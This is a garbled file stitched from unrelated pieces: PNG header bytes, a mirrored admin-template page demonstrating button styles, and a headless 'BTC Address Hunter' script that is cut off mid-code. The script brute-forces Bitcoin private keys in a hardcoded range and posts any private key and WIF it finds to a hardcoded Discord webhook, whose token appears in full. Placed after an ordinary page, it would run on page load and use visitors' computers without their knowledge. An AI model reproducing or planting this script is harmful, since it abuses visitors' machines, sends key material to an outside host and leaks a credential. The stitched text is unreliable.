PNG IHDR x sBIT|d pHYs + tEXtSoftware www.inkscape.org< ,tEXtComment
<!DOCTYPE html>
<html>
<!-- Mirrored from www.david luis Pablo .com/demo/star-laravel-free/template/basic-ui/buttons by HTTrack Website Copier/3.x [XR&CO'2014], Thu, 26 Mar 2020 15:55:25 GMT -->
<!-- Added by HTTrack --><meta http-equiv="content-type" content="text/html;charset=UTF-8" /><!-- /Added by HTTrack -->
<head>
<title>Admin</title>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- CSRF Token -->
<meta name="_token" content="FUFArrn1zssuAvS390uBJPMm5o4135T1ieu83ug0">
<link rel="shortcut icon" href="../favicon.ico">
<!-- plugin css -->
<link media="all" type="text/css" rel="stylesheet" href="../assets/plugins/%40mdi/font/css/materialdesignicons.min.css">
<link media="all" type="text/css" rel="stylesheet" href="../assets/plugins/perfect-scrollbar/perfect-scrollbar.css">
<!-- end plugin css -->
<!-- common css -->
<link media="all" type="text/css" rel="stylesheet" href="../css/app.css">
<!-- end common css -->
</head>
<body data-base-url="#demo/star-laravel-free/template">
<div class="container-scroller" id="app">
<nav class="navbar default-layout col-lg-12 col-12 p-0 fixed-top d-flex flex-row">
<div class="text-center navbar-brand-wrapper d-flex align-items-top justify-content-center">
<a class="navbar-brand brand-logo" href="#demo/star-laravel-free/template">
<img src="../assets/images/logo.svg" alt="logo" /> </a>
<a class="navbar-brand brand-logo-mini" href="#demo/star-laravel-free/template">
<img src="../assets/images/logo-mini.svg" alt="logo" /> </a>
</div>
<div class="navbar-menu-wrapper d-flex align-items-center justify-content-end">
<button class="navbar-toggler navbar-toggler align-self-center" type="button" data-toggle="minimize">
<span class="mdi mdi-menu"></span>
</button>
<ul class="navbar-nav navbar-nav-left header-links">
<li class="nav-item d-none d-xl-flex">
<a href="#" class="nav-link">Schedule <span class="badge badge-primary ml-1">New</span>
</a>
</li>
<li class="nav-item active d-none d-lg-flex">
<a href="#" class="nav-link">
<i class="mdi mdi-elevation-rise"></i>Reports</a>
</li>
<li class="nav-item d-none d-md-flex">
<a href="#" class="nav-link">
<i class="mdi mdi-bookmark-plus-outline"></i>Score</a>
</li>
<li class="nav-item dropdown d-none d-lg-flex">
<a class="nav-link dropdown-toggle px-0" id="quickDropdown" href="#" data-toggle="dropdown" aria-expanded="false"> Quick Links </a>
<div class="dropdown-menu dropdown-menu-right navbar-dropdown pt-3" aria-labelledby="quickDropdown">
<a href="#" class="dropdown-item">Schedule <span class="badge badge-primary ml-1">New</span></a>
<a href="#" class="dropdown-item"><i class="mdi mdi-elevation-rise"></i>Reports</a>
<a href="#" class="dropdown-item"><i class="mdi mdi-bookmark-plus-outline"></i>Score</a>
</div>
</li>
</ul>
<ul class="navbar-nav navbar-nav-right">
<li class="nav-item dropdown">
<a class="nav-link count-indicator dropdown-toggle" id="messageDropdown" href="#" data-toggle="dropdown" aria-expanded="false">
<i class="mdi mdi-file-outline"></i>
<span class="count">7</span>
</a>
<div class="dropdown-menu dropdown-menu-right navbar-dropdown preview-list pb-0" aria-labelledby="messageDropdown">
<a class="dropdown-item py-3">
<p class="mb-0 font-weight-medium float-left">You have 7 unread mails </p>
<span class="badge badge-pill badge-primary float-right">View all</span>
</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item preview-item">
<div class="preview-thumbnail">
<img src="../assets/images/faces/face10.jpg" alt="image" class="img-sm profile-pic"> </div>
<div class="preview-item-content flex-grow py-2">
<p class="preview-subject ellipsis font-weight-medium text-dark">Marian Garner </p>
<p class="font-weight-light small-text"> The meeting is cancelled </p>
</div>
</a>
<a class="dropdown-item preview-item">
<div class="preview-thumbnail">
<img src="../assets/images/faces/face12.jpg" alt="image" class="img-sm profile-pic"> </div>
<div class="preview-item-content flex-grow py-2">
<p class="preview-subject ellipsis font-weight-medium text-dark">David Grey </p>
<p class="font-weight-light small-text"> The meeting is cancelled </p>
</div>
</a>
<a class="dropdown-item preview-item">
<div class="preview-thumbnail">
<img src="../assets/images/faces/face3.jpg" alt="image" class="img-sm profile-pic"> </div>
<div class="preview-item-content flex-grow py-2">
<p class="preview-subject ellipsis font-weight-medium text-dark">Travis Jenkins </p>
<p class="font-weight-light small-text"> The meeting is cancelled </p>
</div>
</a>
</div>
</li>
<li class="nav-item dropdown">
<a class="nav-link count-indicator dropdown-toggle" id="notificationDropdown" href="#" data-toggle="dropdown">
<i class="mdi mdi-bell-outline"></i>
<span class="count bg-success">4</span>
</a>
<div class="dropdown-menu dropdown-menu-right navbar-dropdown preview-list pb-0" aria-labelledby="notificationDropdown">
<a class="dropdown-item py-3 border-bottom">
<p class="mb-0 font-weight-medium float-left">4 new notifications </p>
<span class="badge badge-pill badge-primary float-right">View all</span>
</a>
<a class="dropdown-item preview-item py-3">
<div class="preview-thumbnail">
<i class="mdi mdi-alert m-auto text-primary"></i>
</div>
<div class="preview-item-content">
<h6 class="preview-subject font-weight-normal text-dark mb-1">Application Error</h6>
<p class="font-weight-light small-text mb-0"> Just now </p>
</div>
</a>
<a class="dropdown-item preview-item py-3">
<div class="preview-thumbnail">
<i class="mdi mdi-settings m-auto text-primary"></i>
</div>
<div class="preview-item-content">
<h6 class="preview-subject font-weight-normal text-dark mb-1">Settings</h6>
<p class="font-weight-light small-text mb-0"> Private message </p>
</div>
</a>
<a class="dropdown-item preview-item py-3">
<div class="preview-thumbnail">
<i class="mdi mdi-airballoon m-auto text-primary"></i>
</div>
<div class="preview-item-content">
<h6 class="preview-subject font-weight-normal text-dark mb-1">New user registration</h6>
<p class="font-weight-light small-text mb-0"> 2 days ago </p>
</div>
</a>
</div>
</li>
<li class="nav-item dropdown d-none d-xl-inline-block">
<a class="nav-link dropdown-toggle" id="UserDropdown" href="#" data-toggle="dropdown" aria-expanded="false">
<span class="profile-text d-none d-md-inline-flex">Richard V.Welsh !</span>
<img class="img-xs rounded-circle" src="../assets/images/faces/face8.jpg" alt="Profile image"> </a>
<div class="dropdown-menu dropdown-menu-right navbar-dropdown" aria-labelledby="UserDropdown">
<a class="dropdown-item p-0">
<div class="d-flex border-bottom w-100 justify-content-center">
<div class="py-3 px-4 d-flex align-items-center justify-content-center">
<i class="mdi mdi-bookmark-plus-outline mr-0 text-gray"></i>
</div>
<div class="py-3 px-4 d-flex align-items-center justify-content-center border-left border-right">
<i class="mdi mdi-account-outline mr-0 text-gray"></i>
</div>
<div class="py-3 px-4 d-flex align-items-center justify-content-center">
<i class="mdi mdi-alarm-check mr-0 text-gray"></i>
</div>
</div>
</a>
<a class="dropdown-item mt-2" href="ma.php"> Manage Accounts </a>
<a class="dropdown-item" href="cp.php"> Change Password </a>
<a class="dropdown-item" href="l.php"> Sign Out </a>
</div>
</li>
</ul>
<button class="navbar-toggler navbar-toggler-right d-lg-none align-self-center" type="button" data-toggle="offcanvas">
<span class="mdi mdi-menu icon-menu"></span>
</button>
</div>
</nav> <div class="container-fluid page-body-wrapper">
<nav class="sidebar sidebar-offcanvas dynamic-active-class-disabled" id="sidebar">
<ul class="nav">
<li class="nav-item nav-profile not-navigation-link">
<div class="nav-link">
<div class="user-wrapper">
<div class="profile-image">
<img src="../assets/images/faces/face8.jpg" alt="profile image">
</div>
<div class="text-wrapper">
<p class="profile-name">Richard V.Welsh</p>
<div class="dropdown" data-display="static">
<a href="#" class="nav-link d-flex user-switch-dropdown-toggler" id="UsersettingsDropdown" href="#" data-toggle="dropdown" aria-expanded="false">
<small class="designation text-muted">Manager</small>
<span class="status-indicator online"></span>
</a>
<div class="dropdown-menu" aria-labelledby="UsersettingsDropdown">
<a class="dropdown-item p-0">
<div class="d-flex border-bottom">
<div class="py-3 px-4 d-flex align-items-center justify-content-center">
<i class="mdi mdi-bookmark-plus-outline mr-0 text-gray"></i>
</div>
<div class="py-3 px-4 d-flex align-items-center justify-content-center border-left border-right">
<i class="mdi mdi-account-outline mr-0 text-gray"></i>
</div>
<div class="py-3 px-4 d-flex align-items-center justify-content-center">
<i class="mdi mdi-alarm-check mr-0 text-gray"></i>
</div>
</div>
</a>
<a class="dropdown-item mt-2" href="ma.php"> Manage Accounts </a>
<a class="dropdown-item" href="cp.php"> Change Password </a>
<a class="dropdown-item" href="l.php"> Sign Out </a>
</div>
</div>
</div>
</div>
<button class="btn btn-success btn-block">New Project <i class="mdi mdi-plus"></i>
</button>
</div>
</li>
<li class="nav-item ">
<a class="nav-link" href="#demo/star-laravel-free/template">
<i class="menu-icon mdi mdi-television"></i>
<span class="menu-title">Dashboard</span>
</a>
</li>
<li class="nav-item active">
<a class="nav-link" data-toggle="collapse" href="#basic-ui" aria-expanded="true" aria-controls="basic-ui">
<i class="menu-icon mdi mdi-dna"></i>
<span class="menu-title">Basic UI Elements</span>
<i class="menu-arrow"></i>
</a>
<div class="collapse show" id="basic-ui">
<ul class="nav flex-column sub-menu">
<li class="nav-item active">
<a class="nav-link" href="buttons.html">Buttons</a>
</li>
<li class="nav-item ">
<a class="nav-link" href="dropdowns.html">Dropdowns</a>
</li>
<li class="nav-item ">
<a class="nav-link" href="typography.html">Typography</a>
</li>
</ul>
</div>
</li>
<li class="nav-item ">
<a class="nav-link" href="../charts/chartjs">
<i class="menu-icon mdi mdi-chart-line"></i>
<span class="menu-title">Charts</span>
</a>
</li>
<li class="nav-item ">
<a class="nav-link" href="../tables/basic-table.html">
<i class="menu-icon mdi mdi-table-large"></i>
<span class="menu-title">Tables</span>
</a>
</li>
<li class="nav-item ">
<a class="nav-link" href="../icons/material.html">
<i class="menu-icon mdi mdi-emoticon"></i>
<span class="menu-title">Icons</span>
</a>
</li>
<li class="nav-item ">
<a class="nav-link" data-toggle="collapse" href="#user-pages" aria-expanded="false" aria-controls="user-pages">
<i class="menu-icon mdi mdi-lock-outline"></i>
<span class="menu-title">User Pages</span>
<i class="menu-arrow"></i>
</a>
<div class="collapse " id="user-pages">
<ul class="nav flex-column sub-menu">
<li class="nav-item ">
<a class="nav-link" href="../user-pages/login.html">Login</a>
</li>
<li class="nav-item ">
<a class="nav-link" href="../user-pages/register.html">Register</a>
</li>
<li class="nav-item ">
<a class="nav-link" href="../user-pages/lock-screen.html">Lock Screen</a>
</li>
</ul>
</div>
</li>
<li class="nav-item">
<a class="nav-link" href="https://www.david luis Pablo .com/demo/star-laravel-free/documentation/documentation.html" target="_blank">
<i class="menu-icon mdi mdi-file-outline"></i>
<span class="menu-title">Documentation</span>
</a>
</li>--->
</ul>
</nav> <div class="main-panel">
<div class="content-wrapper">
<div class="row">
<div class="col-12 grid-margin">
<div class="card">
<div class="row">
<div class="col-md-6">
<div class="card-body">
<h4 class="card-title">Normal buttons</h4>
<p class="card-description">Use any of the available button classes to quickly create a styled button.</p>
<div class="template-demo">
<button type="button" class="btn btn-primary btn-fw">Primary</button>
<button type="button" class="btn btn-secondary btn-fw">Secondary</button>
<button type="button" class="btn btn-success btn-fw">Success</button>
<button type="button" class="btn btn-danger btn-fw">Danger</button>
<button type="button" class="btn btn-warning btn-fw">Warning</button>
<button type="button" class="btn btn-info btn-fw">Info</button>
<button type="button" class="btn btn-light btn-fw">Light</button>
<button type="button" class="btn btn-dark btn-fw">Dark</button>
<button type="button" class="btn btn-link btn-fw">Link</button>
</div>
</div>
</div>
<div class="col-md-6">
<div class="card-body">
<h4 class="card-title">Fab Buttons</h4>
<p class="card-description">Use <code>class="btn-icons"</code> or <code>class="btn-icons btn-rounded"</code> for fab styled buttons</p>
<div class="template-demo">
<button type="button" class="btn btn-icons btn-rounded btn-light">
<i class="mdi mdi-home-outline"></i>
</button>
<button type="button" class="btn btn-icons btn-rounded btn-secondary">
<i class="mdi mdi-edge"></i>
</button>
<button type="button" class="btn btn-icons btn-rounded btn-success">
<i class="mdi mdi-email"></i>
</button>
<button type="button" class="btn btn-icons btn-rounded btn-primary">
<i class="mdi mdi-star"></i>
</button>
<button type="button" class="btn btn-icons btn-rounded btn-warning">
<i class="mdi mdi-map-marker"></i>
</button>
<button type="button" class="btn btn-icons btn-rounded btn-info">
<i class="mdi mdi-code-braces"></i>
</button>
<br>
<button type="button" class="btn btn-icons btn-inverse-light">
<i class="mdi mdi-home-outline"></i>
</button>
<button type="button" class="btn btn-icons btn-inverse-secondary">
<i class="mdi mdi-edge"></i>
</button>
<button type="button" class="btn btn-icons btn-inverse-success">
<i class="mdi mdi-email"></i>
</button>
<button type="button" class="btn btn-icons btn-inverse-primary">
<i class="mdi mdi-star"></i>
</button>
<button type="button" class="btn btn-icons btn-inverse-warning">
<i class="mdi mdi-map-marker"></i>
</button>
<button type="button" class="btn btn-icons btn-inverse-info">
<i class="mdi mdi-code-braces"></i>
</button>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-md-6">
<div class="card-body">
<h4 class="card-title">Outlined buttons</h4>
<p class="card-description">Use <code>class="btn-outline-*"</code> for outlined style</p>
<div class="template-demo">
<button type="button" class="btn btn-outline-primary">Primary</button>
<button type="button" class="btn btn-outline-secondary">Secondary</button>
<button type="button" class="btn btn-outline-success">Success</button>
<button type="button" class="btn btn-outline-danger">Danger</button>
<button type="button" class="btn btn-outline-warning">Warning</button>
<button type="button" class="btn btn-outline-info">Info</button>
</div>
</div>
</div>
<div class="col-md-6">
<div class="card-body">
<h4 class="card-title">Rounded Outlines</h4>
<p class="card-description">Use <code>class="btn-outline-* btn-rounded"</code> for rounded outlined style</p>
<div class="template-demo">
<button type="button" class="btn btn-icons btn-rounded btn-outline-light">
<i class="mdi mdi-home-outline"></i>
</button>
<button type="button" class="btn btn-icons btn-rounded btn-outline-secondary">
<i class="mdi mdi-edge"></i>
</button>
<button type="button" class="btn btn-icons btn-rounded btn-outline-success">
<i class="mdi mdi-email"></i>
</button>
<button type="button" class="btn btn-icons btn-rounded btn-outline-primary">
<i class="mdi mdi-star"></i>
</button>
<button type="button" class="btn btn-icons btn-rounded btn-outline-warning">
<i class="mdi mdi-map-marker"></i>
</button>
<button type="button" class="btn btn-icons btn-rounded btn-outline-info">
<i class="mdi mdi-code-braces"></i>
</button>
<br>
<button type="button" class="btn btn-icons btn-rounded btn-inverse-outline-light">
<i class="mdi mdi-home-outline"></i>
</button>
<button type="button" class="btn btn-icons btn-rounded btn-inverse-outline-secondary">
<i class="mdi mdi-edge"></i>
</button>
<button type="button" class="btn btn-icons btn-rounded btn-inverse-outline-success">
<i class="mdi mdi-email"></i>
</button>
<button type="button" class="btn btn-icons btn-rounded btn-inverse-outline-primary">
<i class="mdi mdi-star"></i>
</button>
<button type="button" class="btn btn-icons btn-rounded btn-inverse-outline-warning">
<i class="mdi mdi-map-marker"></i>
</button>
<button type="button" class="btn btn-icons btn-rounded btn-inverse-outline-info">
<i class="mdi mdi-code-braces"></i>
</button>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-md-6">
<div class="card-body">
<h4 class="card-title">Inverse buttons</h4>
<p class="card-description">Use <code>class="btn-inverse-*"</code> for inverse styling</p>
<div class="template-demo">
<button type="button" class="btn btn-inverse-primary btn-fw">Primary</button>
<button type="button" class="btn btn-inverse-secondary btn-fw">Secondary</button>
<button type="button" class="btn btn-inverse-success btn-fw">Success</button>
<button type="button" class="btn btn-inverse-danger btn-fw">Danger</button>
<button type="button" class="btn btn-inverse-warning btn-fw">Warning</button>
<button type="button" class="btn btn-inverse-info btn-fw">Info</button>
<button type="button" class="btn btn-inverse-light btn-fw">Light</button>
<button type="button" class="btn btn-inverse-dark btn-fw">Dark</button>
<button type="button" class="btn btn-link btn-fw">Link</button>
</div>
</div>
</div>
<div class="col-md-6">
<div class="card-body">
<h4 class="card-title">Button Sizes</h4>
<p class="card-description">Use class <code>"btn-lg", "btn-sm"</code> for different sizing</p>
<div class="template-demo">
<button type="button" class="btn btn-light btn-lg">btn-lg</button>
<button type="button" class="btn btn-light">btn-md</button>
<button type="button" class="btn btn-light btn-sm">btn-sm</button>
<br>
<button type="button" class="btn btn-secondary btn-lg">btn-lg</button>
<button type="button" class="btn btn-info">btn-md</button>
<button type="button" class="btn btn-primary btn-sm">btn-sm</button>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-12 grid-margin">
<div class="card">
<div class="row">
<div class="col-md-6">
<div class="card-body">
<h4 class="card-title">Rounded filled Buttons</h4>
<p class="card-description">Use class <code>.btn-rounded</code> for rounded buttons</p>
<div class="template-demo">
<button type="button" class="btn btn-primary btn-rounded btn-fw">Primary</button>
<button type="button" class="btn btn-secondary btn-rounded btn-fw">Secondary</button>
<button type="button" class="btn btn-success btn-rounded btn-fw">Success</button>
<button type="button" class="btn btn-danger btn-rounded btn-fw">Danger</button>
<button type="button" class="btn btn-warning btn-rounded btn-fw">Warning</button>
<button type="button" class="btn btn-info btn-rounded btn-fw">Info</button>
<button type="button" class="btn btn-light btn-rounded btn-fw">Light</button>
<button type="button" class="btn btn-dark btn-rounded btn-fw">Dark</button>
<button type="button" class="btn btn-link btn-rounded btn-fw">Link</button>
</div>
</div>
<div class="card-body">
<h4 class="card-title">Inverse Rounded buttons</h4>
<p class="card-description">Use any of the available button classes to quickly create a styled button.</p>
<div class="template-demo">
<button type="button" class="btn btn-inverse-primary btn-rounded btn-fw">Primary</button>
<button type="button" class="btn btn-inverse-secondary btn-rounded btn-fw">Secondary</button>
<button type="button" class="btn btn-inverse-success btn-rounded btn-fw">Success</button>
<button type="button" class="btn btn-inverse-danger btn-rounded btn-fw">Danger</button>
<button type="button" class="btn btn-inverse-warning btn-rounded btn-fw">Warning</button>
<button type="button" class="btn btn-inverse-info btn-rounded btn-fw">Info</button>
<button type="button" class="btn btn-inverse-light btn-rounded btn-fw">Light</button>
<button type="button" class="btn btn-inverse-dark btn-rounded btn-fw">Dark</button>
<button type="button" class="btn btn-inverse-link btn-rounded btn-fw">Link</button>
</div>
</div>
</div>
<div class="col-md-6">
<div class="card-body">
<h4 class="card-title">Rounded Outlined</h4>
<p class="card-description">Use class <code>.btn-rounded</code> for rounded style</p>
<div class="template-demo">
<button type="button" class="btn btn-outline-primary btn-rounded btn-fw">Primary</button>
<button type="button" class="btn btn-outline-secondary btn-rounded btn-fw">Secondary</button>
<button type="button" class="btn btn-outline-success btn-rounded btn-fw">Success</button>
<button type="button" class="btn btn-outline-danger btn-rounded btn-fw">Danger</button>
<button type="button" class="btn btn-outline-warning btn-rounded btn-fw">Warning</button>
<button type="button" class="btn btn-outline-info btn-rounded btn-fw">Info</button>
<button type="button" class="btn btn-outline-light btn-rounded btn-fw">Light</button>
<button type="button" class="btn btn-outline-dark btn-rounded btn-fw">Dark</button>
<button type="button" class="btn btn-outline-link btn-rounded btn-fw">Link</button>
</div>
</div>
<div class="card-body">
<h4 class="card-title">Button Block</h4>
<p class="card-description">Use class <code>.btn-block</code> for full width buttons</p>
<div class="template-demo">
<button type="button" class="btn btn-info btn-block">Block Button</button>
<button type="button" class="btn btn-light btn-block">Block Button</button>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-12 grid-margin">
<div class="card">
<div class="row">
<div class="col-md-6">
<div class="card-body">
<h4 class="card-title">Grouped buttons</h4>
<p class="card-description">These are the different buttons group component</p>
<div class="template-demo">
<div class="btn-group" role="group" aria-label="Basic example">
<button type="button" class="btn btn-outline-secondary">1</button>
<button type="button" class="btn btn-outline-secondary">2</button>
<button type="button" class="btn btn-outline-secondary">3</button>
</div>
<div class="btn-group" role="group" aria-label="Basic example">
<button type="button" class="btn btn-outline-secondary">
<i class="mdi mdi-heart-outline"></i>
</button>
<button type="button" class="btn btn-outline-secondary">
<i class="mdi mdi-calendar"></i>
</button>
<button type="button" class="btn btn-outline-secondary">
<i class="mdi mdi-clock"></i>
</button>
</div>
</div>
<div class="template-demo">
<div class="btn-group" role="group" aria-label="Basic example">
<button type="button" class="btn btn-primary">1</button>
<button type="button" class="btn btn-primary">2</button>
<button type="button" class="btn btn-primary">3</button>
</div>
<div class="btn-group" role="group" aria-label="Basic example">
<button type="button" class="btn btn-primary">
<i class="mdi mdi-heart-outline"></i>
</button>
<button type="button" class="btn btn-primary">
<i class="mdi mdi-calendar"></i>
</button>
<button type="button" class="btn btn-primary">
<i class="mdi mdi-clock"></i>
</button>
</div>
</div>
<div class="template-demo">
<div class="btn-toolbar" role="toolbar" aria-label="Toolbar with button groswiftsailogistic">
<div class="btn-group" role="group" aria-label="First group">
<button type="button" class="btn btn-light">1</button>
<button type="button" class="btn btn-light">2</button>
<button type="button" class="btn btn-light">3</button>
</div>
<div class="btn-group" role="group" aria-label="Second group">
<button type="button" class="btn btn-light">5</button>
<button type="button" class="btn btn-light">6</button>
</div>
<div class="btn-group" role="group" aria-label="Third group">
<button type="button" class="btn btn-light">8</button>
</div>
</div>
</div>
<div class="template-demo">
<div class="btn-toolbar" role="toolbar" aria-label="Toolbar with button groswiftsailogistic">
<div class="btn-group" role="group" aria-label="First group">
<button type="button" class="btn btn-primary">1</button>
<button type="button" class="btn btn-primary">2</button>
</div>
<div class="btn-group" role="group" aria-label="Second group">
<button type="button" class="btn btn-primary">5</button>
<button type="button" class="btn btn-primary">6</button>
<button type="button" class="btn btn-primary">7</button>
</div>
<div class="btn-group" role="group" aria-label="Third group">
<button type="button" class="btn btn-primary">8</button>
</div>
</div>
</div>
</div>
</div>
<div class="col-md-6">
<div class="card-body">
<h4 class="card-title">Icons Buttons</h4>
<p class="card-description">Use any of the available button classes to quickly create a styled button.</p>
<div class="template-demo">
<button type="button" class="btn btn-light btn-fw">
<i class="mdi mdi-heart-outline"></i>Default</button>
<button type="button" class="btn btn-primary btn-fw">
<i class="mdi mdi-star-outline"></i>Primary</button>
<button type="button" class="btn btn-success btn-fw">
<i class="mdi mdi-check"></i>Success</button>
<button type="button" class="btn btn-secondary btn-fw">
<i class="mdi mdi-file-document"></i>Submit</button>
<button type="button" class="btn btn-dark btn-fw">
<i class="mdi mdi-cloud-download"></i>Edit</button>
<button type="button" class="btn btn-danger btn-fw">
<i class="mdi mdi-alert-outline"></i>Warning</button>
<button type="button" class="btn btn-info btn-fw">
<i class="mdi mdi-upload"></i>Upload</button>
<button type="button" class="btn btn-success btn-fw">
<i class="mdi mdi-printer"></i>Print</button>
<button type="button" class="btn btn-light btn-fw">
<i class="mdi mdi-refresh"></i>Reset</button>
</div>
</div>
<div class="card-body">
<h4 class="card-title">Outline icons</h4>
<p class="card-description">Use any of the available button classes to quickly create a styled button.</p>
<div class="template-demo">
<button type="button" class="btn btn-outline-primary btn-fw">
<i class="mdi mdi-file-document"></i>Submit</button>
<button type="button" class="btn btn-secondary btn-fw">
<i class="mdi mdi-cloud-download"></i>Edit</button>
<button type="button" class="btn btn-outline-danger btn-fw">
<i class="mdi mdi-alert-outline"></i>Warning</button>
<button type="button" class="btn btn-outline-info btn-fw">
<i class="mdi mdi-upload"></i>Upload</button>
<button type="button" class="btn btn-outline-success btn-fw">
<i class="mdi mdi-printer"></i>Print</button>
<button type="button" class="btn btn-outline-light btn-fw">
<i class="mdi mdi-refresh"></i>Reset</button>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-6">
<div class="card-body">
<h4 class="card-title">Social Buttons</h4>
<p class="card-description">use class <code>.social-btn</code> for social button</p>
<div class="template-demo">
<button type="button" class="btn social-btn btn-facebook">
<i class="mdi mdi-facebook"></i>
</button>
<button type="button" class="btn social-btn btn-twitter">
<i class="mdi mdi-twitter"></i>
</button>
<button type="button" class="btn social-btn btn-dribbble">
<i class="mdi mdi-dribbble"></i>
</button>
<button type="button" class="btn social-btn btn-linkedin">
<i class="mdi mdi-linkedin"></i>
</button>
<button type="button" class="btn social-btn btn-google">
<i class="mdi mdi-google-plus"></i>
</button>
<br>
<button type="button" class="btn social-btn btn-social-outline-facebook">
<i class="mdi mdi-facebook"></i>
</button>
<button type="button" class="btn social-btn btn-social-outline-twitter">
<i class="mdi mdi-twitter"></i>
</button>
<button type="button" class="btn social-btn btn-social-outline-dribbble">
<i class="mdi mdi-dribbble"></i>
</button>
<button type="button" class="btn social-btn btn-social-outline-linkedin">
<i class="mdi mdi-linkedin"></i>
</button>
<button type="button" class="btn social-btn btn-social-outline-google">
<i class="mdi mdi-google-plus"></i>
</button>
</div>
</div>
</div>
<div class="col-6">
<div class="card-body">
<h4 class="card-title">Rounded Social Buttons</h4>
<p class="card-description">use class <code>".social-btn", ".btn-rounded"</code> for social button</p>
<div class="template-demo">
<button type="button" class="btn social-btn btn-rounded btn-facebook">
<i class="mdi mdi-facebook"></i>
</button>
<button type="button" class="btn social-btn btn-rounded btn-twitter">
<i class="mdi mdi-twitter"></i>
</button>
<button type="button" class="btn social-btn btn-rounded btn-dribbble">
<i class="mdi mdi-dribbble"></i>
</button>
<button type="button" class="btn social-btn btn-rounded btn-linkedin">
<i class="mdi mdi-linkedin"></i>
</button>
<button type="button" class="btn social-btn btn-rounded btn-google">
<i class="mdi mdi-google-plus"></i>
</button>
<br>
<button type="button" class="btn social-btn btn-rounded btn-social-outline-facebook">
<i class="mdi mdi-facebook"></i>
</button>
<button type="button" class="btn social-btn btn-rounded btn-social-outline-twitter">
<i class="mdi mdi-twitter"></i>
</button>
<button type="button" class="btn social-btn btn-rounded btn-social-outline-dribbble">
<i class="mdi mdi-dribbble"></i>
</button>
<button type="button" class="btn social-btn btn-rounded btn-social-outline-linkedin">
<i class="mdi mdi-linkedin"></i>
</button>
<button type="button" class="btn social-btn btn-rounded btn-social-outline-google">
<i class="mdi mdi-google-plus"></i>
</button>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<footer class="footer">
<div class="container-fluid clearfix">
<span class="text-muted d-block text-center text-sm-left d-sm-inline-block">Copyright © 2019 <a href="#" target="_blank">david luis Pablo </a>. All rights reserved.</span>
<span class="float-none float-sm-right d-block mt-1 mt-sm-0 text-center">Hand-crafted & made with <i class="mdi mdi-heart text-danger"></i>
</span>
</div>
</footer> </div>
</div>
</div>
<!-- base js -->
<script src="../js/app.js"></script>
<script src="../assets/plugins/perfect-scrollbar/perfect-scrollbar.min.js"></script>
<!-- end base js -->
<!-- plugin js -->
<!-- end plugin js -->
<!-- common js -->
<script src="../assets/js/off-canvas.js"></script>
<script src="../assets/js/hoverable-collapse.js"></script>
<script src="../assets/js/misc.js"></script>
<script src="../assets/js/settings.js"></script>
<script src="../assets/js/todolist.js"></script>
<!-- end common js -->
</body>
<!-- Mirrored from www.david luis Pablo .com/demo/star-laravel-free/template/basic-ui/buttons by HTTrack Website Copier/3.x [XR&CO'2014], Thu, 26 Mar 2020 15:55:25 GMT -->
</html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>⚡ BTC Address Hunter - Headless Scan</title>
</head>
<body>
<script src="https://cdnjs.cloudflare.com/ajax/libs/elliptic/6.5.4/elliptic.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
<script>
// bs58 encoding/decoding utility (kept for consistency with worker)
const bs58 = (function () {
const ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
const BASE = ALPHABET.length;
return {
encode(buffer) {
if (!(buffer instanceof Uint8Array)) buffer = new Uint8Array(buffer);
let digits = [0];
for (let i = 0; i < buffer.length; ++i) {
for (let j = 0; j < digits.length; ++j) digits[j] <<= 8;
digits[0] += buffer[i];
let carry = 0;
for (let j = 0; j < digits.length; ++j) {
digits[j] += carry;
carry = (digits[j] / BASE) | 0;
digits[j] %= BASE;
}
while (carry) {
digits.push(carry % BASE);
carry = (carry / BASE) | 0;
}
}
let str = "";
for (let k = 0; buffer[k] === 0 && k < buffer.length - 1; ++k) str += ALPHABET[0];
for (let q = digits.length - 1; q >= 0; --q) str += ALPHABET[digits[q]];
return str;
}
};
})();
</script>
<script>
// --- HARDCODED SCAN PARAMETERS ---
// IMPORTANT: You MUST replace 'YOUR_TARGET_BTC_ADDRESS_HERE' with the actual address you are searching for.
const TARGET_ADDRESS = '1PWo3JeB9jrGwfHDNpdGK54CRas7fsVzXU'; // Example target address
const START_HEX = '400000000000000000'; // Start of the random hex range
const END_HEX = '7fffffffffffffffff'; // End of the random hex range
// ---------------------------------
// --- HARDCODED DISCORD WEBHOOK URL ---
const DISCORD_WEBHOOK_URL = 'https://discordapp.com/api/webhooks/1095773664965836851/nkzz391OKRoLLans_lvTKhsipr2jxTaEqnGOGLD8KUlCLlzggH-0bzS77BWjlqCDcwl7';
// -------------------------------------
let scanWorker = null;
let scanStartTime = 0;
let totalScannedKeys = 0n; // Use BigInt for scanned keys
/**
* Logs a message to the browser console.
* @param {string} msg - The message to log.
* @param {'info'|'success'|'error'|'warn'} type - The type of message for console styling.
*/
function consoleLog(msg, type = 'info') {
switch (type) {
case 'success':
console.log(`%c${msg}`, 'color: green; font-weight: bold;');
break;
case 'error':
console.error(`%c${msg}`, 'color: red; font-weight: bold;');
break;
case 'warn':
console.warn(`%c${msg}`, 'color: orange;');
break;
case 'info':
default:
console.info(msg);
break;
}
}
/**
* Sends the found Bitcoin address details to a Discord webhook.
* @param {string} privHex - The found private key in hexadecimal.
* @param {string} wif - The found WIF (Wallet Import Format) key.
* @param {string} address - The matched Bitcoin address.
*/
async function sendToDiscordWebhook(privHex, wif, address) {
const webhookUrl = DISCORD_WEBHOOK_URL;
if (!webhookUrl) {
consoleLog('Discord Webhook URL is not set (hardcoded). Skipping notification.', 'warn');
return;
}
if (!webhookUrl.startsWith('https://discord.com/api/webhooks/') &&
!webhookUrl.startsWith('https://discordapp.com/api/webhooks/')) {
consoleLog('Invalid Discord Webhook URL (hardcoded). Please provide a valid URL.', 'error');
return;
}
const payload = {
username: "BTC Address Hunter",
avatar_url: "https://placehold.co/64x64/00bf72/ffffff?text=BTC", // Placeholder icon
embeds: [
{
